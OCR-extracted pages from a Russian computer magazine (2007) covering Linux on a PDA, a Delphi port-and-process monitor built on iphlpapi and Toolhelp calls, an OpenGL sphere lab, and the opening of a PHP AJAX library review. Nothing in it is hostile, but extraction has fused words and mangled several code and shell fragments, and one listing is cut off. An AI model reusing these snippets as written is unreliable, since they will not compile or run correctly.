компилятору и исходникам). Далее набираемкоманды «make» и «make install». Вуаля! Наше ядроготово! Копируем модули и ядро на КПК и загружаем.Пересборка приложений осуществляется таким жеобразом.Конечно, это не приятная прогулка, но, надеюсь,решившиеся на эту непростую работу получат многоудовольствия. И если твои эксперименты завершатсяуспешно, не сочти за труд поделиться своим опытом сменее настойчивыми туксоводами.Софт на каждый деньНиже описаны самые нужные приложения, готовые кустановке и не требующие пересборки. Найти их можно02 / 98 / 07


unixoidв feed'ах на официальном сайте Familiar. Стоитотметить, что в стандартной поставке Familiarидет большое количество программ.Незнакомого софта тут не найдешь, в основномэто портированные версии «больших»программ.Minimo — Firefox для КПК, поддерживает всетехнологии и стандарты, присущие «большому»огнелису. Субъективно, пользоваться им намногоудобнее, чем IE.Links — великолепный текстовый браузер.Dillo — браузер, разработанный с нуля; отличнаяподдержка кириллицы. Жаль, что не поддерживаетSSL по умолчанию, а все мои попыткисделать это вручную, увы, окончились неудачей.Sylpheed — лучший из всех протестированныхмной почтовых клиентов на КПК.Gaim — наверняка знаком большинствучитателей. КПК-версия обладает той жефункциональностью.GPE-PIM — хороший PIM, не уступает своимконкурентам ни в Linux, ни в Windows. Присутствуетвозможность синхронизации с Evolution иOutlook.Fbreader — лучшая из программ для чтения книгкак для КПК, так и для настольных систем. Множествофункций, продуманный интерфейс.Gpdf — добротная программа для чтенияpdf-файлов.Vi — легендарный текстовый редактор, теперьи для КПК. Однако продуктивно работать с нимможно только при наличии BT-клавиатуры (сказываетсятяжелое консольное детство).AbiWord — текстовый процессор, по функциональностина две головы выше, чем тот жемобильный Word. Пересобран из настольнойверсии.Gnumeric — после общения с этой программоймобильный Excel кажется кустарной поделкой.По функциональности полностью аналогиченсвоему «большому» брату.Nmap — один из лучших сканеров портов.X-Chat — IRC-клиент. Функции стандартны,интерфейс в меру удобен.Midnight Commander — удобный консольныйфайловый менеджер, стандарт де-факто надесктопах.Вот как я изменил часть «iface usbf inetstatic» этого файла:# vi / etc / network / interfaceiface usbf inet static/ / IP КПКaddress xxx.xxx.xxx.xxxnetmask yyy.yyy.yyy.yyynetwork xxx. xxx. ххх.0/ / IP десктопаgateway xxx.xxx.xxx.wwwДля автоматического старта подключенияпри загрузке системы набираем:# cd / etc / rc2. d# ln `-s.. / init. d / initd-usbnetS45usbnet. sh`Для ручного подключения:#/ etc / init. d / initd-usbnet startЕсли компьютер подключен к локальной сети свыходом в интернет, то ничего делать не придется,КПК подключится автоматически.ЗаключениеLinux пришел на КПК достаточно недавно, и покаего инсталляция и работа с ним напоминаетаналогичную ситуацию на обычном компьютереобразца 1996 года. Установка все еще остаетсяслишком сложной для простых юзеров, наработкибольше предназначены для программистов,чем для пользователей. Однако и Linux, и КПКсейчас популярны как никогда, и, возможно, черезнесколько лет Linux потеснит Windows Mobileхотя бы на этом секторе рынка. zПодключи через USB-host к своему КПК все что угодно!Хочешь…использовать ресурсы КПК на все 100%?иметь неограниченный простор длямодернизации и экспериментов?располагать на КПК всеми приложениямис настольного компьютера?иметь действительно удобный инструментдля работы?Контроллер USB-хоств iPAQ 5450 / 5550 / 5555Josha Alex, один из разработчиков Familiar,обнаружил, что в HP iPAQ 5450 / 5550 / 5555встроен контроллер USB-хост, к которомуподключен Wi-Fi, однако HP не сделалавнешнего коннектора. Относительнодругих моделей ничего неизвестно, но,скорее всего, USB-хост может присутствоватьи в них — уж очень производители нелюбят отходить от работающих решений.В среде Windows Mobile этот контроллерзадействовать нельзя, однако в Linuxпроблема решается установкой модуляkernel-module-usb-storage.Имеют место 4 провода: D+, D-, Gnd и +5V.D+ и D- подключаются к коннекторам USB,Gnd — к плате, +5V — к питанию КПК иливнешнему источнику.При помощи этого USB-host'a можно подключитьк КПК все что угодно: мышку, клавиатуру,принтер, кардридер и flash‐карту.Работа с USB,подключение к компьютеру и интернетуНа Linux‐десктоп с USB-хабом необходимоустановить два модуля ядра: саммодуль для USB-хаба и usbnet. На стороненаладонника USB-драйвер и usbnet вбольшинстве случаев уже установлены.Единственное, что требуется сделать,— прописать соответствующие IP-адреса.xàêåð 02 / 98 / 07/121


codingМихаил Фленов/ www.vr-online.ru /Сам себеРуссиновичСовременный метод определения состояния портовВ прошлый раз мы разобрались со старыми и надежными функциями определениясостояния портов. Сегодня мы двинемся дальше и познакомимся с новыми функциямиWindows XP, которые способны совершать еще немало интересного. Новый вариантпрограммы будет отображать не только открытые порты, но и процессы, которыеих открыли. В этом нам помогут функции, не описанные в заголовочных файлах Delphiи даже VC++, поэтому мы будем их загружать динамически.ФункцииИтак, поскольку необходимых нам функций,как я уже говорил, в Delphi нет и не предвидится,работу придется начать с заголовочногофайла. Нам понадобятся следующие функции:AllocateAndGetUdpExTableFromStack, AllocateAndGetTcpExTableFromStack, CreateToolhelp32Snapshot, Process32First и Process32Next.Первые две из них реализованы в библиотекеiphlpapi.dll и необходимы для получения изстека таблицы открытых TCP- и UDP-портовсоответственно.Какая из функций какую таблицу возвращает,нетрудно догадаться, исходя из ихимени. Остальные три функции реализованыв kernel32.dll и пригодятся нам для определенияпроцесса, который открыл порт.Напомню, что в прошлый раз мы писалипрограмму TCPView с запасом на будущее,а в главном окне даже подготовилиотдельную колонку для отображенияимени процесса. Сегодня с помощьюнескольких волшебных движений тазом мыее заполним.Если ты читал предыдущую статью (а еслине читал — вставляй DVD в дисковод и бериее оттуда), то открывай свой заголовочныйфайл, который уже должен быть создан,и начинай добавлять в него описанияфункций. Как и в прошлый раз, мы будемобъявлять функции в виде переменных,чтобы загружать их динамически.Состояния TCPДвинемся по порядку, а значит, начнем с рассмотренияфункции:AllocateAndGetTcpExTableFromStack:AllocateAndGetTcpExTableFromStack: function (pTCPTable: PMIB_TCPEXTABLE;bOrder: BOOL;heap: THandle;zero: DWORD;flags: DWORD): DWORD; stdcall;Здесь мы объявляем переменную AllocateAndGetTcpExTableFromStack, по сути, представляющуюсобой функцию, которая принимает,/ 122xàêåð 02 /98/ 07


codingПодробное описание функции Process32First в MSDN. Есличто-то не поймешь по исходнику, хватай англо-русский словарьи дуй сюдаРезультат работы программы. Во второй колонке показано имяпроцесса, который инициализировал работу с портомесли я правильно посчитал, пять параметров.До пяти я вроде бы считать умею, а если что‐тоне так, то простите старика-ветерана клавиатурноготруда. Итак, функция получает следующиепараметры:1. Указатель типа PMIB_TCPEXTABLE, черезкоторый нам вернут массив состоянияTCP-портов.2. Булево значение, определяющее, нужно лисортировать таблицу.3. Куча (heap), в которой нужно выделитьпамять для хранения результирующей таблицы.Вполне логично хранить результат в куче своегопроцесса, указатель на которую можно получитьс помощью функции GetProcessHeap.4. Флаги, определяющие, как себя будет вестифункция с кучей. В утилите Руссиновича здесьзачем‐то указывается двойка, и если запуститьпоиск по инету, то все найденные примеры будутавтоматом указывать на это же число. Зачем?Видимо, код копируется без понимания того, чтоон делает. Нам никакие «специфическиеповедения» кучи не нужны, поэтому смелопоставим сюда 0.5. Последний флаг определяет IP-адреса, длякоторых нужно получать таблицу. Здесь можноуказать флаг AF_INET или AF_INET6 для IP-протоколашестой версии. Интернетчики опять жекопируют код один к одному и явно указываютчисло 2 (значение константы AF_INET). Обеконстанты объявлены в заголовочном файлеWinsock… Хотя нет, константа AF_INET6 естьтолько в заголовочном файле второй версии,ведь первый Winsock ничего не знал о IPv6.Запусти поиск в рунете по названию функцииAllocateAndGetTcpExTableFromStack и в большинствеслучаев ты узнаешь, что функцияне документирована. Кем не документирована?В MSDN есть подробное описание, просто искатьего нужно умеючи :). Свежий msdn всегдаможно найти по адресу msdn.microsoft.com.Да, он обновляется с задержкой и уже послевыхода ОС, и чтобы быть впереди всей планеты,просто нужно купить подписку за немалоеколичество портретов американских лидеров.В общем, к чему я клоню: если новой функциинет в старой версии справки, то это не значит,что описание отсутствует вовсе ;).Кстати, если верить MSDN, эта функция устарелаи больше не поддерживается в новоиспеченнойWindows Vista! Я Висту пока ещене ставил и не проверял, но если это так, нашуниверсальный пример будет как раз кстати.Если посмотреть в SDK для Висты, можно заметитьинтересный факт: функция там объявлена,но только для совместимости. Так что не пытайсявызвать ее напрямую, иначе тебя ждет крахпрограммы. Что будет в качестве замены, ещенеизвестно, а Майкрософт пока молчит.Состояния UDPТаблицу состояний UDP-портов можно узнатьс помощью функции AllocateAndGetUdpExTableFromStack, которую необходимо объявитьследующим образом:AllocateAndGetUdpExTableFromStack:function (pUDPTable: PMIB_UDPEXTABLE;bOrder: BOOL;heap: THandle;zero: DWORD;flags: DWORD): DWORD; stdcall;Ее параметры идентичны параметрам функцииработы с TCP-портами, за исключением первого,который имеет тип PMIB_UDPEXTABLE.Порты UDP не имеют соединений, поэтому ихтаблица состояний немного отличается.Структуры данныхТеперь поговорим о структурах данных, черезкоторые мы будем получать результирующиетаблицы. Начнем с TCP-портов. Функцияпринимает в качестве первого параметра типданных PMIB_TCPEXTABLE, а, на самом деле,это структура следующего вида:PMIB_TCPEXTABLE = ^TMIB_TCPEXTABLE;TMIB_TCPEXTABLE = packed recorddwNumEntries: DWORD;Table: array [0..0] ofTMIB_TCPEXROW;end;В ней содержится всего два параметра: количествоэлементов в таблице и массив элементовтаблицы состояний портов. Каждый элементмассива — это тоже структура типаTMIB_TCPEXROW, представляющая собой вот что:PMIB_TCPEXROW = ^TMIB_TCPEXROW;TMIB_TCPEXROW = packed recorddwState: DWORD;dwLocalAddr: DWORD;dwLocalPort: DWORD;dwRemoteAddr: DWORD;dwRemotePort: DWORD;dwProcessID: DWORD;end;Если ты не пропустил прошлый номер, то должензнать, что функция GetTcpTable возвращаетпримерно такую же структуру. Здесь такжеприсутствует локальный адрес, локальный порт,удаленный адрес и удаленный порт. Самоепоследнее поле является новым и определяетидентификатор процесса, который открыл порт.Теперь посмотрим на структуру PMIB_UDPEXTABLE,которая передается в качестве первого параметрафункции получения состояний UDP-портов:PMIB_UDPEXTABLE = ^TMIB_UDPEXTABLE;TMIB_UDPEXTABLE = packed recorddwNumEntries: DWORD;Table: array [0..0] ofTMIB_UDPEXROW;end;Тут снова нас ожидает количество элементовв таблице состояний и массив из структур типаTMIB_UDPEXROW. Эта структура выглядит так:xàêåð 02 /98/ 07/123


codingЛистинг 1procedure TForm1.GetExConnections;varTCPExTable: PMIB_TCPEXTABLE;UDPExTable: PMIB_UDPEXTABLE;hSnapshot: THandle;i: Integer;local_name: array [0..255]of char;ExeName: String;beginlwTCP.Items.BeginUpdate;lwTCP.Items.Clear;/ / Получаем снимок процессовhSnapshot:=CreateToolhelp32Snapshot ($ 2, 0);try// Определяем таблицу состояний TCPпортовif AllocateAndGetTcpExTableFromStack (@TCPExTable, False,GetProcessHeap, 2, 2) = NO_ERRORthenbeginfor i:= 0 to TCPExTable.dwNumEntries — 1 dobeginwith lwTCP.Items.Add dobeginCaption:='TCP';if (hSnapshot = INVALID_HANDLE_VALUE) then// Если не удалось получить снимок,то имя процесса оставить пустымSubItems.Add ('')elsebegin// Снимок процессов был получен удачно,поэтому переводим ID в человеческоеимяExeName:=ProcessPidToName(hSnapshot, tcpExTable. Table [i].dwProcessId);SubItems.Add (ExeName);end;SubItems.Add(inet_ntoa(TInAddr(TCPExTable^.Table[I].dwLocalAddr)));SubItems.Add(IntToStr(TCPExTable^.Table[I].dwLocalPort));SubItems.Add(inet_ntoa(TInAddr(TCPExTable^.Table[I].dwRemoteAddr)));SubItems.Add(IntToStr(TCPExTable/ 124^. Table[I].dwRemotePort));SubItems.Add (TCPState[TCPExTable^.Table[I].dwState]);end;end;end;// Определяем таблицу состояний UPXпортовif AllocateAndGetUdpExTableFromStack (@UdpExTable, False,GetProcessHeap, 2, 2) = NO_ERRORthenbeginfor i:= 0 to UDPExTable.dwNumEntries — 1 dobeginwith lwTCP.Items.Add dobeginCaption:='UDP';if (hSnapshot = INVALID_HANDLE_VALUE) then// Если не удалось получить снимок,то имя процесса оставить пустымSubItems. Add ('')else// Снимок процессов был полученудачно, поэтому переводим ID в человеческоеимяSubItems.Add (ProcessPidToName(hSnapshot, UDPExTable.Table[i].dwProcessId));gethostname (local_name, 255);SubItems.Add(inet_ntoa(TInAddr(UDPExTable^.Table[I].dwLocalAddr)));SubItems. Add(IntToStr(UDPExTable^.Table [I].dwLocalPort));end;end;end;finallylwTCP.Items.EndUpdate;end;end;Форма будущей программы в моем любимом Delphi 2006PMIB_UDPEXROW = ^TMIB_UDPEXROW;TMIB_UDPEXROW = packed recorddwLocalAddr: DWORD;dwLocalPort: DWORD;dwProcessID: DWORD;end;В ней мы видим локальный адрес, локальныйпорт и идентификатор процесса. Информацииоб удаленной машине нет и быть не может.Вспомогательные функцииДля реализации примера нам понадобятсяеще три системные функции из оконного ядраkernel32.dll:CreateToolhelp32Snapshot: function(dwFlags, th32ProcessID: DWORD):THandle; stdcall;{$EXTERNALSYM CreateToolhelp32Snapshot}Process32First: function(hSnapshot: THandle; var lppe:TProcessEntry32): BOOL; stdcall;{$EXTERNALSYM Process32First}Process32Next: function(hSnapshot: THandle; var lppe:TProcessEntry32): BOOL; stdcall;{$EXTERNALSYM Process32Next}Давай кратко пробежимся по этим функциям:CreateToolhelp32Snapshot — создаетснимок указанного процесса;Process32First — возвращает первый процессиз снимка;Process32Next — возвращает следующий процессиз снимка.За более подробнойинформацией по этим функциям обращайсяк MSDN.У них достаточно много возможностей и различныхфлагов, поэтому описать их в одной статьебудет сложно.xàêåð 02 /98/ 07


codingGetConnectionselseGetExConnections;end;Функция AllocateAndGetTcpExTableFromStack документирована и очень подробно.Нужно только уметь искатьЗагрузка функцийМы объявили переменные, через которые будемобращаться к системным функциям, но всеони являются указателями и на данном этапеуказывают в никуда. Теперь в них необходимозаписать соответствующие адреса. В прошлыйраз для этого мы создавали функциюLoadAPIHelpAPI. Давай расширим ее и добавимследующие строки:@AllocateAndGetTcpExTableFromStack:=GetProcAddress (HIpHlpApi, 'AllocЛистинг 2function TForm1.ProcessPidToName(hProcess: THandle; ProcID: DWORD):String;varprocEntry: TPROCESSENTRY32;ProcessName: String;beginprocEntry.dwSize:=sizeof (procEntry);ProcessName:='???';if (Process32First (hProcess,procEntry)) then begin repeat/ / Если текущий процесс равен искомому,то возвращаем его имяif (procEntry. th32ProcessID =ProcId) then beginProcessName:=procEntry.szExeFile;Result:=ProcessName;exit; end;until (not Process32Next (hProcess,&procEntry));end;Result:=ProcessName;end;xàêåð 02 /98/ 07/ateAndGetTcpExTableFromStack');@AllocateAndGetUdpExTableFromStack:=GetProcAddress (HIpHlpApi, 'AllocateAndGetUdpExTableFromStack');@CreateToolhelp32Snapshot:=GetProcAddress (GetModuleHandle('kernel32.dll'), 'CreateToolhelp32Snapshot');@Process32First:= GetProcAddress(GetModuleHandle ('kernel32.dll'),'Process32First');@Process32Next:= GetProcAddress(GetModuleHandle ('kernel32.dll'),'Process32Next');Теперь, после загрузки, каждая переменнаяукажет на соответствующую функцию в системе.Если какая‐то функция не будет найдена, тосоответствующая переменная будет равна нулю.Эту особенность мы используем для того, чтобыопределить, поддерживает ли ОС новые функцииили необходимо применить универсальныйкод, который мы рассматривали в прошлый раз.РеализацияВот мы и подошли к самому интересному — реализацииуниверсального примера. В нашемстаром коде по событию OnShow вызываласьфункция GetConnections, в которой и происходилоопределение состояний портов. Улучшимпример, поставив условие вместо безусловноговызова:procedure TForm1.FormShow (Sender:TObject);beginif @AllocateAndGetTcpExTableFromStack=nil thenЕсли указатель AllocateAndGetTcpExTableFromStack равен нулю, значит, соответствующейфункции нет в системе и нужно вызыватьGetConnections.Если он не равен нулю, то функция найденав системе и можно использовать расширенныефункции, которые мы рассмотрелисегодня. Полный код содержится в функцииGetExConnections, которую мы поместилив листинге 1.Логика GetExConnections практически не изменилась,по сравнению с ранее написаннойGetConnections.Мы точно так же получаем таблицу состоянийи выводим ее содержимое, просто пользуясьпри этом другими API- функциями.Единственное, что заслуживает отдельноговнимания, — это вызов функцииProcessPidToName, которая должна переводитьидентификатор процесса в удобочитаемоеимя. Эту функцию с подробнейшими комментариямиты можешь увидеть в листинге 2.ИтогПрограмма готова. На DVD ты найдешь полноценнуюпрограммку, которая определяет портыи делает это универсально.Если система поддерживает расширенныефункции, то она использует их и отображаетимена процессов. Если нет, то ничего страшного,никакой ошибки не произойдет — прогапросто воспользуется старыми функциямии отобразит все то же самое, исключая имяпроцесса.Как видишь, все гениальное — в простотеи умении искать нужные функции. Можешьулучшить этот пример, чтобы он обновлялтаблицу по таймеру и подсвечивал записи,состояние портов которых изменилось, илиновые записи в таблице. Можно добавитьвозможность уничтожения выделенногопроцесса, ведь соответствующий идентификатормы научились определять. Тольконе забывай, что при использовании старыхфункций процесс не определен. Кстати, написанныйпример получает только состояниеIP-портов старой версии, а реализациюсостояния IPv6 легко организовать простымизменением последнего флага при вызовефункций AllocateAndGetTcpExTableFromStackи AllocateAndGetUdpExTableFromStack.На этом спешу откланяться. До новых встреч! z125


codingМихаил Фленов/ www.vr-online.ru /Х-лаба #1Создание изображений с использованиембиблиотеки OpenGLЗадание: аппроксимировать заданную поверхность полигональной сеткой и средствамиOpenGL обеспечить для нее возможностьа) изображения в параллельной и перспективной проекции,б) удаления невидимых линий и поверхностей,в) реалистичного освещения,г) каркасного изображения,д) пространственных аффинных преобразований.Исходные данные, определяющие поверхность, должны считываться из текстовогофайла. Формат представления исходных данных разрабатывается студентами самостоятельно.В зависимости от номера студента в группе предоставляются на выбор следующиеповерхности: сфера с вырезами, конус с вырезами, цилиндр с вырезами и т.д.Сегодня в самом первом выпуске нашего революционного Х-проекта :) мы рассмотримлабу, которую задают на третьем курсе факультета прикладной математикив МАИ, (спецкурс «Компьютерная гра фика»). Я немного усложнил задание, так чточитай — будет интересно.УсложняемЧто такое «аппроксимировать поверхность»?Если посмотреть на фигуры, которые нампредлагают, то видно, что все они имеют формус изгибами. Невозможно создать в компьютернойграфике сферу, можно только рисовать точкии линии, а окружности создаются с помощьюбольшого количества линий (трехмерныеобъекты — из треугольников). Чем большелиний, тем более округлой будет получатьсяформа объекта. Аппроксимировать означаетсоздать объект, максимально приближенныйк реальному. А насколько приближенным егонужно сделать в этом задании? Ладно, выберемстепень соответствия на свое усмотрение.Данные необходимо загружать изфайла, но это же серьезное упущение! Отображениедолжно происходить полигональнымметодом, поэтому какая разница, какие данныев файле — сфера, цилиндр или пышные формыПамелы Андерсон? Достаточно одному студентувыполнить задание, а все остальные должнытолько чуть изменить формат файла и переменныев исходнике, чтобы идентичность кода не бросаласьв глаза. После этого нужно создать необходимуюфигуру в 3DS Max, сохранить ее в файле, и можносчитать, что задание выполнено. Мы усложнимзадачу и будем генерить фигуру программно.ИнициализацияИтак, давай напишем программку, котораябудет динамически формировать сферу. Для началасоздадим пустое Win32‐приложениеи сразу же добавим необходимые заголовочныефайлы, а именно:#include #include Первый заголовочный файл подключает функцииOpenGL, которые нам предстоит использоватьдля отображения сферы. Вторая строкаподключает математические функции./ 126xàêåð 02 /98/ 07


codingCферa с закрашенными полигонамиКаркас сферыТак как сфера будет генериться, нам понадобятсятригонометрические функции из math.h. Теперь идем в Свойства проекта и в Установкахлинкера в строке Additional Dependenciesдобавляем библиотеку opengl32.lib. Библиотекурасширенных функций glu мы использоватьне будем (да, она упростила бы созданиесферы, цилиндра и т.д., но, судя по заданию, мыне имеем права обращаться к ней).Из глобальных переменных нам понадобитсяhrc типа HGLRC, в которой мы будем сохранятьконтекст рисования OpenGL.Теперь движемся в функцию InitInstance, гдесоздается окно. После его создания добавляемкод из листинга 1. Я думаю, стоит рассмотретьэтот листинг поподробнее, поскольку его пониманиенеобходимо для выполнения задания.После получения контекста рисования окна, мыдолжны задать формат пикселя. В данномслучае я использую RGBA-формат в 24 бита.Помимо этого, для повышения скоростивключается двойная буферизация (флагPFD_DOUBLEBUFFER). В исходнике, которыйты найдешь на DVD, задание формата пикселяя вынес в отдельную функцию SetPixelFormat.Далее идет создание контекста рисованияOpenGL с помощью функции wglCreateContext (онбудет «текущим» — wglMakeCurrent). Это стандартнаяоперация при инициализации OpenGL.Теперь самое интересное. В заданииопределена необходимость удаленияневидимых линий и поверхностей. Но какэто сделать? В OpenGL для этого нужновсего лишь включить тест глубины. Без неговыводится все подряд, и объекты, находящиесядальше, могут оказаться в одной позициис более близкими объектами. Чтобы включитьтест глубины, пишем:glEnable(GL_DEPTH_TEST);Существует множество вариантов тестовглубины. Их можно задать с помощью функцииglDepthFunc. В этом примере я задействуютест GL_LESS, который используетсяпо умолчанию. Про все остальные их видыты можешь узнать из файла справки по функцииglDepthFunc.ОсвещениеОсвещение — это отдельная история. Согласнозаданию, мы должны обеспечить реалистичноеосвещение. Но как это сделать? Реалистичноеосвещение — это целая наука, для него существуетвеликое множество алгоритмов и методов(OpenGL в этом плане может практическивсе. Самое реалистичное, на мой взгляд, освещениеможно получить только с использованиемвершинных шейдеров. Но я надеюсь, что составителизадания не пошли так далеко в своихзапросах и не испортили нам всю жизнь, и поэтомуиспользую освещение, предоставляемоефункциями OpenGL.Итак, чтобы в нашей сцене появился источникосвещения, необходимо его создать, выбратьмодель и указать его положение. В OpenGL первыйпункт достаточно прост, поскольку нам ужедоступны источники с именами GL_LIGHTi, гдеi изменяется от 0 до GL_MAX_LIGHTS. В моемзаголовочном файле эта константа равна0x0D31. Я думаю, этого будет вполнедостаточно. Мы будем использовать одинисточник освещения — GL_LIGHT0. Чтобызадать его положение, используем следующийкод:GLfloat position[] ={ 0.0, 1, — 1.5, 0.0 };glLightfv(GL_LIGHT0, GL_POSITION, position);В первой строке мы задаем массив из четырехчисел типа GLfloat, которые определятпозицию источника освещения в нашеммире. Во второй — вызываем функциюglLightfv, которая имеет 3 параметра:1. источник освещения;2. параметр, который нужно изменить; мыбудем устанавливать позицию света, поэтомууказываем константу GL_POSITION;3. вектор (массив из четырех значений), задающийпозицию.Эта позиция будет трансформирована в матрицуmodelview нашего мира.Если не задать положение источника света, топо умолчанию будет использоваться вектор(0,0,1,0). Можно еще задать тип лампочки — рассеянныйсвет, прожектор и т.д., но это уже деловкуса и цвета. В задании тип света не указан.Итак, позицию лампочки мы задали, теперьнеобходимо включить свет.Нет, для этого не нужно вызывать электрикаалкаша,нужно просто написать две следующиестроки:Листинг 2case WM_SIZE:// Определяем размеры окнаRECT r;GetWindowRect(hWnd, &r);width = r.right-r.left;height = r.bottom-r.top;// Использовать матрицу ProjectionglMatrixMode(GL_PROJECTION);// Загрузить единичную матрицупреобразованийglLoadIdentity();// В зависимости от размеров окнасоздаем параллельную проекциюif (width


codingglEnable(GL_LIGHTING);glEnable(GL_LIGHT0);В первой строке мы разрешаем освещениев целом, а во второй — включаем источникGL_LIGHT0.ПостинсталлЧтобы освещение работало нормально, желательновключить нормализацию:glEnable(GL_NORMALIZE);glEnable(GL_AUTO_NORMAL);Несмотря на то что при построении сферы я будурассчитывать нормаль ручками, эти 2 флагавключены, чтобы ты знал об их существовании.Первый флаг разрешает нормализацию, а второй— разрешает это делать автоматом.По заданию необходимо предоставить возможностьотображения фигуры в виде каркаса. Какэто сделать? Очень просто. Наш полигон будетстроиться из закрашенных треугольников.Чтобы убрать закраску, можно добавитьследующую строку:glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);Здесь мы включаем отображение переднихи задних поверхностей полигоналиниями. Теперь это не закрашенныетреугольники, а линии, а значит, OpenGLнарисует только каркас.ПроекцияВ задании есть пункт, который требует от насобеспечить возможность отображенияв параллельной и перспективнойпроекции. Для начала определимся,что же это такое — параллельная и перспективнаяпроекция. При параллельнойпроекции все объекты проецируются наплоскость просмотра параллельно, безкаких-либо искажений. Однако наши глазане обладают такой широтой обзора, поэтомунам присуще перспективное зрениеи такая проекция воспринимается как болееестественная.Для работы с параллельной проекцией используетсяфункция glOrtho:void glOrtho(GLdouble left,GLdouble right, GLdoublebottom, GLdouble top, GLdoublenear, GLdouble far)/ 128Создание сферы с помощью линий. Слева — сфера из малого количества линий, поэтомуона угловатая. Справа линий в 4 раза больше, поэтому этот объект и на сферу похож большеУже по названиям переменных можно понять,что первые четыре задают прямоугольникпросмотра, а последние две — расстояниедо ближней и дальней плоскостей отсечениясоответственно. Все, что ближе near и дальшеfar, отображаться не будет.Чтобы задать перспективную проекцию, нужноиспользовать функцию gluPerspective:Листинг 1// Определяем контекст рисованияокнаHDC dc = GetDC(hWnd);// Задаем формат пикселяstatic PIXELFORMATDESCRIPTOR pfd = {sizeof(PIXELFORMATDESCRIPTOR),1, PFD_DRAW_TO_WINDOW |PFD_SUPPORT_OPENGL | PFD_DOUBLEBUFFER, PFD_TYPE_RGBA,24, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 0, 32, 0, 0,PFD_MAIN_PLANE, 0, 0, 0, 0 };// Выбираем созданный форматint pixelFormat = ::ChoosePixelFormat(dc, &pfd);if (pixelFormat == 0){MessageBox(0,"ChoosePixelFormat error","Error", MB_OK);return FALSE;}// Установить формат пикселяif (::SetPixelFormat(dc,pixelFormat, &pfd) == FALSE){MessageBox(0,"SetPixelFormat error","Error", MB_OK);return FALSE;}void gluPerspective(GLdoubleangley, GLdouble aspect, GLdoubleznear, GLdouble zfar)Первый параметр — это угол обзора по оси Y.Второй параметр — соотношениесторон, в большинстве случаев его делают равнымотношению ширины окна к высоте. Далее// Создаем контекст OpenGLhrc = wglCreateContext(dc);wglMakeCurrent(dc,hrc);// Позиция источника освещения ипозиция просмотраGLfloat position[] ={ 0.0, 1, -1.5, 0.0 };GLfloat local_view[] = { 0.0 };// Включаем тест глубиныglEnable(GL_DEPTH_TEST);glDepthFunc(GL_LESS);// Включаем освещениеglLightfv(GL_LIGHT0, GL_POSITION,position);glLightModelfv(GL_LIGHT_MODEL_LOCAL_VIEWER,local_view);glEnable(GL_LIGHTING);glEnable(GL_LIGHT0);// Включаем нормализациюglEnable(GL_AUTO_NORMAL);glEnable(GL_NORMALIZE);/* Раскомментировать следующуюстроку, чтобы отображать в каркасномвиде *///glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);MoveWindow(hWnd, 10, 10, 640, 480,TRUE)xàêåð 02 /98/ 07


codingидут расстояния до ближней и дальней плоскостей отсечения.Вполне логично будет задавать параметры проекции по событиюизменения размеров окна, ведь от этого зависят и параметрыотображения. Идем в функцию WndProc и добавляем туда обработчиксобытия WM_SIZE, код которого можно увидеть в листинге2. В этом примере мы будем использовать параллельноепроецирование. Чтобы превратить его в перспективу, замени вызовglOrtho следующей строкой:gluPerspective(45.0f, width/height, 1.0f, 100.0f);Эта перспектива будет иметь следующие характеристики:1. Угол обзора в высоту равен 45 градусам.2. Соотношение сторон просмотра соответствует соотношению сторонокна.3. Все вершины/объекты ближе 1 и больше 100 не будут видны.Перед установкой необходимой проекции требуется выбрать режимматрицы GL_PROJECTION, а после этого загрузить единичную матрицус помощью функции glLoadIdentity().ОтображениеДля отображения сцены по событию WM_PAINT мы добавим вызовфункции DrawScene (ты найдешь ее на диске). Гигантский размерэтой функции, обусловленный генерацией в ней сферы математическимметодом, не позволяет мне привести ее здесь (еслибы я загружал сферу из файла, то кода получилось бы несколькоменьше). Впрочем, если ты умеешь работать с файлами, адаптироватьпример не составит труда.Кстати, в процессе изучения исходника обрати внимание, чтодля каждого треугольника я определяю нормали, без которыхосвещение станет невозможным. Просто сформироватьполигон мало, необходимо нормализовать его, чтобы OpenGLзнал, как должен вести себя источник освещения. Помимоэтого, объекту назначается материал. В зависимости отматериала поверхности изменяется и освещение. Глянцевыеповерхности должны отбрасывать блики, а матовые — просторавномерно рассеивать свет. Размер блика также может отличатьсяв зависимости от поверхности.Полный код примера ты найдешь на DVD. Что в нем не хватает? Пространственныхпреобразований и выреза. Вырез сделать программноне так уж и сложно, а вот преобразования — достаточно интереснаятема, и для ее раскрытия нужна отдельная статья. Про DirectX-преобразованияя писал в своих книгах «Искусство программирования игрна C++» и «Direct и С++. Искусство программирования». Вторая книгаимеет вариант и для Delphi.Зачет!Исходный код готового примера — это, конечно, хорошо, но нужно ещеуметь объяснить этот код (а еще лучше — знать предмет :)). Существуетмножество вариантов тестов глубины, алгоритмов освещений, и, плаваяв этой теме, будь готов к тому, что знающий препод может легко поставитьтебя в тупик. Так что, если ты прогулял целый семестр и не знаешьOpenGL, лучше купи книгу и наверстай упущенное. Это необходимоне только для сдачи экзаменов, но и просто для себя, ведь мы учимсяне ради оценок, а ради знаний, без которых после окончания институтадиплом не стоит ничего. zxàêåð 02 /98/ 07/129


codingБорис Вольфсон/ borisvolfson@gmail.com /Три богатыряОбзор AJAX-библиотек для PHP с практическими примерамиКак известно, писать приложения в идеологии AJAX сложно по многим причинам,начиная довольно трудоемкой отладкой и заканчивая разработкой функций длярутинных действий. А зачем это делать заново, ведь есть готовые библиотеки дляPHP!? В этой статье я расскажу о том, как разрабатывать AJAX-приложения, не сходяпри этом с ума.Ищем подопытныхДля этого обзора я выбрал 3 довольно сильноразличающихся по функционалу библиотеки.Почему только 3? Дело в том, что другие интересныеAJAX-решения обычно являются частьюполноценных фреймворков для созданиясайтов, поэтому их обзор занял бы слишкоммного места. Стало быть, о них — в следующийраз, а пока мы познакомимся с участникамисегодняшнего состязания.Итак, внимание на сцену! Первым выступаетпредставитель легкой весовой категории— Sajax; за ним уверенно двигается крепкийсереднячок — Xajax; и, наконец, могучийтяжеловес, жонглер гирями, способныйудержать на своей груди платформу с роялем,оркестром и взводом королевских мушкетеров,— Projax.А что делать-то будем?Сколько «пустых» статей и других материалов обAJAX и втором поколении веб-технологии публикуютсяежедневно? Трудно сосчитать :). В нихпопулярно и доказательно обосновывается, чтовсе это очень круто и прогрессивно, но при этомавторы забывают рассказать нам одну малость— как всего этого добиться. Чтобы не быть голословным,я покажу тебе все это на конкретныхпримерах, часть из которых ты сможешь сразуиспользовать на своих веб-сайтах. Начнемс самой простой библиотеки — Sajax.SajaxSajax — довольно простая библиотека, поэтомусерверный 